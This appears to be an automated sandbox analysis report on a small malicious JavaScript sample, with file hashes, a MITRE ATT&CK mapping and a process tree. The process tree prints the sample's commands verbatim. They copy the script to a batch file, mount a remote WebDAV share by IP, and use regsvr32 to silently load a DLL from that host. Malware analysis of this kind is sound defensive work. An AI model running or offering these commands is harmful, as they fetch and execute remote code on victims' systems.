513ead1df5b950cb6063cc8868ba5ac22013ae46fceb348f28b63bd9f78d239f

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 01:31

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General

Target

513ead1df5b950cb6063cc8868ba5ac22013ae46fceb348f28b63bd9f78d239f.js
Size

5KB
MD5

17e532cf832f426f7873080a8fde7b80
SHA1

57adfe6064c9adb6812514a70e7bb7a64410f658
SHA256

513ead1df5b950cb6063cc8868ba5ac22013ae46fceb348f28b63bd9f78d239f
SHA512

d5bbf8ac0f72ec4c57914dd53df3a9ab0f1855b99ec238a5fffb93a8f374983e5a567fa9ee9b14a99e5bc9fbc513560d3e9b2a5b7ec406ed890a5417e38610e5
SSDEEP

96:5pPiPwp0al1+6NBJphDJph8cIy6MIGfYogk0PxbNG2PZZBZk1Bk:5pTl3bJpxJpdp6MRA77k0

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2852	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 2892	2692	wscript.exe	31
PID 2692 wrote to memory of 2892	2692	wscript.exe	31
PID 2692 wrote to memory of 2892	2692	wscript.exe	31
PID 2892 wrote to memory of 2792	2892	cmd.exe	33
PID 2892 wrote to memory of 2792	2892	cmd.exe	33
PID 2892 wrote to memory of 2792	2892	cmd.exe	33
PID 2892 wrote to memory of 2852	2892	cmd.exe	34
PID 2892 wrote to memory of 2852	2892	cmd.exe	34
PID 2892 wrote to memory of 2852	2892	cmd.exe	34
PID 2892 wrote to memory of 2852	2892	cmd.exe	34
PID 2892 wrote to memory of 2852	2892	cmd.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\513ead1df5b950cb6063cc8868ba5ac22013ae46fceb348f28b63bd9f78d239f.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\513ead1df5b950cb6063cc8868ba5ac22013ae46fceb348f28b63bd9f78d239f.js" "C:\Users\Admin\\mxwavp.bat" && "C:\Users\Admin\\mxwavp.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2792
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\424.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\mxwavp.bat

Filesize
5KB

MD5
17e532cf832f426f7873080a8fde7b80

SHA1
57adfe6064c9adb6812514a70e7bb7a64410f658

SHA256
513ead1df5b950cb6063cc8868ba5ac22013ae46fceb348f28b63bd9f78d239f

SHA512
d5bbf8ac0f72ec4c57914dd53df3a9ab0f1855b99ec238a5fffb93a8f374983e5a567fa9ee9b14a99e5bc9fbc513560d3e9b2a5b7ec406ed890a5417e38610e5

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